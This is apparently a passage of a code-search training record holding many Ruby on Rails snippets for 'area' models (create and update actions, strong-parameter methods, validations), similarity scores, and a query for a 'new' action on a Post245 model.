Area.find(params[:area_id])\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n flash[:notice] = 'Area was successfully created.'\n format.html { redirect_to(@area) }\n format.xml { render :xml => @area, :status => :created, :location => @area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def area?\n !note[TSBS::AreaTAG].nil?\n end", "def area?\n !note[TSBS::AreaTAG].nil?\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def area\n appellation.region.area\n end", "def pimo_params\n params.require(:pimo).permit(:area)\n end", "def create\r\n @area = Area.new(params[:area])\r\n\r\n respond_to do |format|\r\n if @area.save\r\n format.html { redirect_to areas_url(domain_id: @area.domain_id), notice: 'Area was successfully created.' }\r\n format.json { render json: @area, status: :created, location: @area }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @area.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def area_params\n permitted = ProductionArea.globalize_attribute_names + [:edrpou_code, :site, :railway_track, :railway_distance,\n :trucks_road, :state_road_distance, :airport_distance,\n :total_area, :building_year, :free_floors_count,\n :free_floors, :production_area, :additional, :phone,\n :email, :rent_year, :sale, :date_info, :main_image,\n :gis_type_name, :status, :map_layer_id, :ownership_id,\n questionnaire_images_attributes: %i[id imgable_type\n imgable_id _destroy],\n questionnaire_file_attributes: %i[id fileable_type file\n fileable_id _destroy],\n geo_json_attributes: %i[id geo_type position],\n balancer_ids: [], infrastructure_type_ids: []]\n params.require(:production_area).permit(permitted)\n end", "def create\n @userarea = Userarea.new(userarea_params)\n\n respond_to do |format|\n if @userarea.save\n format.html { redirect_to @userarea, notice: 'Userarea was successfully created.' }\n format.json { render :show, status: :created, location: @userarea }\n else\n format.html { render :new }\n format.json { render json: @userarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @area_type = AreaType.new(params[:area_type])\n\n respond_to do |format|\n if @area_type.save\n format.html { redirect_to @area_type, notice: 'Area type was successfully created.' }\n format.json { render json: @area_type, status: :created, location: @area_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def create\n @area = Area.new(area_params)\n @area.start_date = Date.today\n @area.active = true\n @area.status = \"in progress\"\n if @area.save\n redirect_to new_waste_info_path(area: @area), notice: \"#{@area.name} has been added to the system\"\n else\n flash[:error] = \"This area could not be created.\"\n render \"new\"\n end\n end", "def userarea_params\n params.require(:userarea).permit(:user_id, :area_id, :state)\n end", "def userarea_params\n params.require(:userarea).permit(:user_id, :area_id, :state)\n end", "def create\n begin\n @area = Area.new(params[:area])\n\n @area.save!\n\n flash[:notice] = t(:success_created, :id => @area.id)\n redirect_to(areas_url)\n rescue => e\n# flash[:error] = t(:error_default, :message => e.message)\n render :action => :new\n end\n end", "def create\n @group_area = GroupArea.new(params[:group_area])\n\n respond_to do |format|\n if @group_area.save\n format.html { redirect_to @group_area, notice: 'Group area was successfully created.' }\n format.json { render json: @group_area, status: :created, location: @group_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def place_of_use_area_params\n params.require(:place_of_use_area).permit(:name, :kml, :color)\n end", "def set_area_attribute\n @area_attribute = AreaAttribute.find(params[:id])\n end", "def sub_area_params\n params.require(:sub_area).permit(:code_capes, :title, :description, :area_id)\n end", "def validations\n super + [:map_region]\n end", "def area\n respond_to?(:constituencyGroupHasConstituencyArea) ? constituencyGroupHasConstituencyArea.first : nil\n end", "def area\n popolo.areas.find_by(id: area_id)\n end", "def area_params\n params.require(:area).permit(:code, :name, :reservable, :status, :area_id, :institute_id,\n resources_attributes: [:id, :code, :name, :description, :movil, :pedagogic, :resource_id, :area_id, :_destroy])\n end", "def test_truth\n assert_kind_of Area, areas(:first)\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def create\n @employee = Employee.new(employee_params.except(:area))\n @employee.area = employee_params[:area].to_i\n respond_to do |format|\n if @employee.save\n format.html { redirect_to @employee, notice: \"Employee was successfully created.\" }\n format.json { render :show, status: :created, location: @employee }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @employee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_area?(content, sender) \t\n \tif /^#{Parameter.first.area}/i.match(content).eql?(nil)\n \t\tfalse\n \telse\n \t\ttrue\n \tend\n end", "def create\n @country_area = CountryArea.new(params[:country_area])\n\n respond_to do |format|\n if @country_area.save\n format.html { redirect_to @country_area, notice: 'Country area was successfully created.' }\n format.json { render json: @country_area, status: :created, location: @country_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @country_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def practice_area_params\n params.require(:practice_area).permit(:name, :description)\n end", "def update\n if @area.update(area_params)\n flash[:success] = 'Area was successfully updated.'\n redirect_to :back\n else\n flash[:danger] = 'Area was not updated.'\n redirect_to :back\n end\n end", "def practice_area_params\n params.require(:practice_area).permit(:name, :blurb, :description)\n end", "def sub_area_params\n params.require(:sub_area).permit(:name, :area_id, :sub_area_id)\n end", "def salary_area_params\n params.require(:salary_area).permit(:name, :cancel_url, :redirect_url)\n end", "def create\n @issue_area = IssueArea.new(issue_area_params)\n\n respond_to do |format|\n if @issue_area.save\n format.html { redirect_to @issue_area, notice: 'Issue area was successfully created.' }\n format.json { render :show, status: :created, location: @issue_area }\n else\n format.html { render :new }\n format.json { render json: @issue_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def area_prompt\n Rainbow (\"\\nPlease choose an area from the following options for event listings:\\n\\n\").bright.blue\n i = 1\n Neighborhood.all.each do |nbh|\n puts \"#{i}. #{nbh.name}\"\n i += 1\n end\n self.area_input = STDIN.gets.strip\n self.area_valid?\n end", "def field_is_required_for_collecting_area?(field_name)\n return false if collecting_area.blank?\n\n (REQUIRED_PER_COLLECTING_AREA[collecting_area.to_sym] || []).include?(field_name.to_sym)\n end", "def area_code_params\n params.require(:area_code).permit(:code)\n end", "def create\n @userarea = Userarea.new(userarea_params)\n\n respond_to do |format|\n if @userarea.save\n format.html { redirect_to @userarea, info: 'El área de usuario fue creada con éxito.' }\n format.json { render :show, status: :created, location: @userarea }\n else\n format.html { render :new }\n format.json { render json: @userarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def district_area_params\n params.require(:district_area).permit(:name, :initialZipCode, :lastZipCode, :surfaceArea, :population, :density, :shape, :latitude, :longitude, :city_id)\n end", "def create\n @survey_area = SurveyArea.new(params[:survey_area])\n\n respond_to do |format|\n if @survey_area.save\n format.html { redirect_to @survey_area, notice: 'Survey area was successfully created.' }\n format.json { render json: @survey_area, status: :created, location: @survey_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @area.update_attributes(area_params)\n flash[:notice] = \"#{@area.name} has been updated.\"\n redirect_to @area\n else\n render :action => 'edit'\n end\n end", "def validate_place place\n result = false\n if place.is_a? String\n direction = ToyEnums::ALL_DIRECTION.join('|')\n pattern = \"^\"+ToyEnums::PLACE+\" [\"+ToyEnums::MIN_X.to_s+\"-\"+ToyEnums::MAX_X.to_s+\"]{1},[\"+ToyEnums::MIN_Y.to_s+\"-\"+ToyEnums::MAX_Y.to_s+\"]{1},(\"+direction+\")\"\n result = place.scan(/#{pattern}/) ? true : false\n end\n return result\n end", "def area\n respond_to?(:constituencyGroupHasConstituencyArea) ? constituencyGroupHasConstituencyArea.first : nil\n end", "def area; rect size; end", "def validate\n validates_presence([:title, :body])\n end", "def lab_area_params\n params.require(:lab_area).permit(:fk_region_id, :area_number, :is_active, :name, :sort_order)\n end", "def area_width(area_width)\n if(area_width.nil? || !area_width.is_a?(Integer) || area_width < 0)\n raise ArgumentError.new 'Area width only accepts positive integers.'\n end\n\n @area_width = area_width\n return self\n end", "def initialize(type, area)\n @type = type\n @area = area\n end", "def create\n @area_code = AreaCode.new(area_code_params)\n\n respond_to do |format|\n if @area_code.save\n format.html { redirect_to @area_code, notice: 'Area code was successfully created.' }\n format.json { render :show, status: :created, location: @area_code }\n else\n format.html { render :new }\n format.json { render json: @area_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def area\n return @area || Area.inactive_area\n end", "def place_or_teaches_at_home\n if (teaches_at_home.nil? or teaches_at_home == false) and place.nil?\n errors.add :place_id, :blank\n end\n end", "def create\n \n if params[:parent_id]\n @parent_area = Area.find(params[:parent_id]) \n @area = @parent_area.children.build(params[:area]) \n else\n @area = Area.new(params[:area]) \n end\n \n @errors = []\n \n #Me fijo que haya seleccionado al menos un coordinador válido para el área.\n @project_leaders = @area.project_leaders.split(%r{,\\s*})\n if !project_leaders_valid?(@project_leaders) \n @errors = @errors.concat([\"Debe seleccionar un coordinador válido para el área \" + @area.name])\n end\n \n if @errors.empty? && @area.valid?\n @area.save\n set_project_leaders(@project_leaders, @area)\n end\n respond_with(@area)\n end", "def create\n @sub_area = SubArea.new(sub_area_params)\n\n respond_to do |format|\n if @sub_area.save\n format.html { redirect_to @sub_area, notice: 'Sub area was successfully created.' }\n format.json { render :show, status: :created, location: @sub_area }\n else\n format.html { render :new }\n format.json { render json: @sub_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def area\n return format(\"%.2f\", model.land.area)\n end", "def set_area\n @area = current_user.area || '-1'\n end", "def create\n @breadcrumb = 'create'\n @area = Area.new(params[:area])\n @area.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: crud_notice('created', @area) }\n format.json { render json: @area, status: :created, location: @area }\n else\n @departments = departments_dropdown\n @workers = workers_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def district_area_params\n params.require(:district_area).permit(:name, :initialZipCode, :lastZipCode, :surfaceArea, :population, :density)\n end", "def has_default_area_code?\n area_code == Phonie.configuration.default_area_code\n end", "def area\n info[:area].to_sym\n end", "def validate\n validates_presence([:name, :phone])\n end", "def has_locationable_field?\n if latitude.blank? and longitude.blank? and address.blank?\n errors.add :base, 'You must fill in at least one field'\n end\n end", "def full_area\n \"#{city.name}#{area.name}\"\n end", "def loadable?\n Api::Area.code_exists?(area_code)\n end", "def area\n @area ||= @areas.detect {|c| c.matches_path? path }\n end", "def validation\n self.country ||= province.country\n unless !@x || !@y || @x == \"\" || @y == \"\"\n self.geom = Point.from_x_y(@x.to_f, @y.to_f)\n end\n end", "def gestor_area_params\n params.require(:gestor_area).permit(:area_id, :pessoa_id, :data_inicio, :data_termino, :ativo)\n end", "def create\n @practice_area = PracticeArea.new(practice_area_params)\n\n respond_to do |format|\n if @practice_area.save\n format.html { redirect_to @practice_area, notice: 'Practice area was successfully created.' }\n format.json { render :show, status: :created, location: @practice_area }\n else\n format.html { render :new }\n format.json { render json: @practice_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def check_area\n if @selected == nil \n #if an area is visible\n if @drawn\n clear_tr_sprites\n @drawn = false\n else\n @windows[Win_Option].active = true\n @windows[Win_Option].visible = true\n @windows[Win_Option].index = 0\n @cursor.active = false\n end\n elsif @drawn == @selected\n #clear_tr_sprites\n #@drawn = false\n open_status_window(@selected)\n elsif not @selected.hide_move?\n clear_tr_sprites\n @drawn = @selected\n #choose type of drawing\n if @selected.is_a?(Game_Enemy)\n type = 1\n elsif not (@selected.perfaction? ^ @selected.moved?)# (moved and perfaction) or none\n type = 2\n elsif @selected.perfaction?# and [email protected]?\n type = 3\n else# if [email protected]? and @selected.moved?\n type = 4\n end \n draw_ranges(@selected, type)\n end\n end", "def rectangle_area(width, height)\n area = width * height\nend", "def area_params\n params.require(:area).permit(:name, :theme_id, :label, :position, :navigation, :footer, :comments, :ascending, :mode, :paid, :restricted, array: [:sku])\n end", "def micro_area_params\n params.require(:micro_area).permit(:name, :usf_id)\n end", "def new_service_area_params\n params.require(:service_area).permit(:state, :description)\n end", "def area_params\n params.require(:area).permit(:name,:wards_attributes => [ :id,:name,:ward_no,:mun_ref,:_destroy])\n end", "def areas_profissional_params\n params.require(:areas_profissional).permit(:area, :ativo)\n end", "def add_area(area)\n @areas[area.type] = {} unless @areas[area.type]\n @areas[area.type][area.key] = area\n end", "def area_edition_params\n params.require(:area_edition).permit(:layout_id, :name, :required, :order, :area_type)\n end", "def create\n @project_area = ProjectArea.new(project_area_params)\n\n respond_to do |format|\n if @project_area.save\n format.html { redirect_to @project_area, notice: 'Project area was successfully created.' }\n format.json { render :show, status: :created, location: @project_area }\n else\n format.html { render :new }\n format.json { render json: @project_area.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7490956", "0.7239055", "0.71439475", "0.6708339", "0.6646442", "0.66171443", "0.6616461", "0.65914965", "0.6460093", "0.6460093", "0.6454851", "0.6422755", "0.641047", "0.6397817", "0.63694984", "0.6369254", "0.63685596", "0.6331007", "0.6304981", "0.62905884", "0.62887615", "0.6276398", "0.6212242", "0.6197014", "0.6197014", "0.6186918", "0.61819226", "0.61671776", "0.6150853", "0.61469555", "0.6141121", "0.6112026", "0.6098551", "0.6098551", "0.6098551", "0.60966074", "0.6085047", "0.6085047", "0.60841155", "0.60795164", "0.6078731", "0.6058088", "0.6043133", "0.60125494", "0.6012127", "0.5989006", "0.5977954", "0.59758145", "0.59532493", "0.59504795", "0.5931484", "0.5924982", "0.5909246", "0.589604", "0.58900857", "0.58529687", "0.5846302", "0.5840887", "0.5831119", "0.5829288", "0.58242226", "0.5823465", "0.58116496", "0.58061916", "0.58059967", "0.5801772", "0.58006525", "0.57800305", "0.5764905", "0.57630295", "0.57577294", "0.5745559", "0.5721885", "0.57150465", "0.57129073", "0.5712277", "0.57121766", "0.57097626", "0.5707826", "0.5706465", "0.5698832", "0.56984395", "0.5696856", "0.56871784", "0.5685456", "0.5684466", "0.5675914", "0.56594753", "0.5655139", "0.564793", "0.56413454", "0.56360537", "0.5634189", "0.56303424", "0.5618048", "0.56070167", "0.5606443", "0.56052685", "0.5604257", "0.5589701", "0.5585795" ]
0.0
-1
GET /post245s/1 GET /post245s/1.xml
def show @post245 = Post245.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @post245 } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @post246 = Post246.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post246 }\n end\n end", "def show\n @post253 = Post253.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post253 }\n end\n end", "def show\n @post75 = Post75.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post75 }\n end\n end", "def show\n @post181 = Post181.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post181 }\n end\n end", "def show\n @post125 = Post125.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post125 }\n end\n end", "def show\n @post105 = Post105.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post105 }\n end\n end", "def show\n @post57 = Post57.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post57 }\n end\n end", "def show\n @post445 = Post445.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post445 }\n end\n end", "def show\n @post156 = Post156.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post156 }\n end\n end", "def show\n @post257 = Post257.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post257 }\n end\n end", "def show\n @post227 = Post227.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post227 }\n end\n end", "def show\n @post231 = Post231.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post231 }\n end\n end", "def show\n @post275 = Post275.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post275 }\n end\n end", "def show\n @post193 = Post193.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post193 }\n end\n end", "def show\n @post154 = Post154.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post154 }\n end\n end", "def show\n @post196 = Post196.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post196 }\n end\n end", "def show\n @post150 = Post150.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post150 }\n end\n end", "def show\n @post295 = Post295.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post295 }\n end\n end", "def show\n @post74 = Post74.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post74 }\n end\n end", "def show\n @post168 = Post168.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post168 }\n end\n end", "def show\n @post251 = Post251.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post251 }\n end\n end", "def show\n @post157 = Post157.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post157 }\n end\n end", "def show\n @post55 = Post55.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post55 }\n end\n end", "def show\n @post78 = Post78.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post78 }\n end\n end", "def show\n @post149 = Post149.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post149 }\n end\n end", "def show\n @post197 = Post197.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post197 }\n end\n end", "def show\n @post139 = Post139.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post139 }\n end\n end", "def show\n @post182 = Post182.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post182 }\n end\n end", "def show\n @post184 = Post184.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post184 }\n end\n end", "def show\n @post273 = Post273.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post273 }\n end\n end", "def show\n @post342 = Post342.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post342 }\n end\n end", "def show\n @post77 = Post77.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post77 }\n end\n end", "def show\n @post120 = Post120.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post120 }\n end\n end", "def show\n @post335 = Post335.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post335 }\n end\n end", "def show\n @post183 = Post183.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post183 }\n end\n end", "def show\n @post85 = Post85.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post85 }\n end\n end", "def show\n @post99 = Post99.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post99 }\n end\n end", "def show\n @post350 = Post350.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post350 }\n end\n end", "def show\n @post109 = Post109.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post109 }\n end\n end", "def show\n @post260 = Post260.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post260 }\n end\n end", "def show\n @post267 = Post267.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post267 }\n end\n end", "def show\n @post110 = Post110.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post110 }\n end\n end", "def show\n @post107 = Post107.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post107 }\n end\n end", "def show\n @post221 = Post221.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post221 }\n end\n end", "def show\n @post174 = Post174.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post174 }\n end\n end", "def show\n @post470 = Post470.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post470 }\n end\n end", "def show\n @post425 = Post425.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post425 }\n end\n end", "def show\n @post328 = Post328.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post328 }\n end\n end", "def show\n @post385 = Post385.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post385 }\n end\n end", "def show\n @post101 = Post101.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post101 }\n end\n end", "def show\n @post249 = Post249.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post249 }\n end\n end", "def show\n @post349 = Post349.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post349 }\n end\n end", "def show\n @post143 = Post143.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post143 }\n end\n end", "def show\n @post306 = Post306.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post306 }\n end\n end", "def show\n @post134 = Post134.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post134 }\n end\n end", "def show\n @post446 = Post446.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post446 }\n end\n end", "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end", "def show\n @post358 = Post358.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post358 }\n end\n end", "def show\n @post129 = Post129.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post129 }\n end\n end", "def show\n @post248 = Post248.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post248 }\n end\n end", "def show\n @post65 = Post65.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post65 }\n end\n end", "def show\n @post276 = Post276.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post276 }\n end\n end", "def show\n @post459 = Post459.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post459 }\n end\n end", "def show\n @post50 = Post50.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post50 }\n end\n end", "def show\n @post436 = Post436.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post436 }\n end\n end", "def show\n @post297 = Post297.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post297 }\n end\n end", "def show\n @post290 = Post290.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post290 }\n end\n end", "def show\n @post284 = Post284.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post284 }\n end\n end", "def show\n @post130 = Post130.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post130 }\n end\n end", "def show\n @post81 = Post81.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post81 }\n end\n end", "def show\n @post230 = Post230.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post230 }\n end\n end", "def show\n @post41 = Post41.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post41 }\n end\n end", "def show\n @post54 = Post54.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post54 }\n end\n end", "def show\n @post321 = Post321.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post321 }\n end\n end", "def show\n @post117 = Post117.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post117 }\n end\n end", "def show\n @post423 = Post423.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post423 }\n end\n end", "def show\n @post66 = Post66.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post66 }\n end\n end", "def show\n @post59 = Post59.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post59 }\n end\n end", "def show\n @post483 = Post483.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post483 }\n end\n end", "def show\n @post464 = Post464.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post464 }\n end\n end", "def show\n @post58 = Post58.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post58 }\n end\n end", "def show\n @post453 = Post453.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post453 }\n end\n end", "def show\n @post228 = Post228.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post228 }\n end\n end", "def show\n @post217 = Post217.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post217 }\n end\n end", "def show\n @post339 = Post339.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post339 }\n end\n end", "def show\n @post122 = Post122.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post122 }\n end\n end", "def show\n @post252 = Post252.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post252 }\n end\n end", "def show\n @post341 = Post341.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post341 }\n end\n end", "def show\n @post489 = Post489.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post489 }\n end\n end", "def show\n @post405 = Post405.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post405 }\n end\n end", "def show\n @post488 = Post488.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post488 }\n end\n end", "def show\n @post191 = Post191.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post191 }\n end\n end", "def show\n @post377 = Post377.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post377 }\n end\n end", "def show\n @post409 = Post409.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post409 }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post }\n end\n end", "def show\n @post447 = Post447.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post447 }\n end\n end", "def show\n @post471 = Post471.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post471 }\n end\n end", "def show\n @post68 = Post68.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post68 }\n end\n end", "def show\n @post238 = Post238.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post238 }\n end\n end", "def show\n @post194 = Post194.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post194 }\n end\n end" ]
[ "0.6550024", "0.65199137", "0.64973384", "0.6492459", "0.6473633", "0.64673334", "0.6465491", "0.64645696", "0.64496744", "0.6449018", "0.6437833", "0.64361906", "0.6434007", "0.6431821", "0.6431296", "0.6429372", "0.64283544", "0.64221495", "0.6415135", "0.64117503", "0.6411637", "0.64089954", "0.63923156", "0.6391157", "0.63875246", "0.6380821", "0.6377595", "0.6374845", "0.6372179", "0.63718444", "0.6370405", "0.63666505", "0.635899", "0.6358794", "0.6354883", "0.63496566", "0.63363147", "0.6335296", "0.63347197", "0.6329787", "0.6325248", "0.6319358", "0.6318445", "0.63145953", "0.6313181", "0.63072634", "0.62874913", "0.628414", "0.6282673", "0.6280544", "0.62800515", "0.62799007", "0.62763214", "0.6271431", "0.62691754", "0.6268679", "0.62652665", "0.6264641", "0.6259872", "0.62581885", "0.62566227", "0.6255034", "0.62487525", "0.6247653", "0.6238311", "0.62350124", "0.62338364", "0.62273425", "0.62254065", "0.6224701", "0.6224605", "0.6223352", "0.6222617", "0.62219524", "0.6221052", "0.621863", "0.62173104", "0.62144303", "0.621287", "0.6212674", "0.62116593", "0.62057966", "0.6197935", "0.6197539", "0.61923295", "0.6191481", "0.6190479", "0.6189787", "0.6180957", "0.61781", "0.61734", "0.6173291", "0.6169998", "0.61657184", "0.6164228", "0.6161903", "0.61608636", "0.61558217", "0.6153591", "0.614955" ]
0.66521925
0
GET /post245s/new GET /post245s/new.xml
def new @post245 = Post245.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @post245 } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
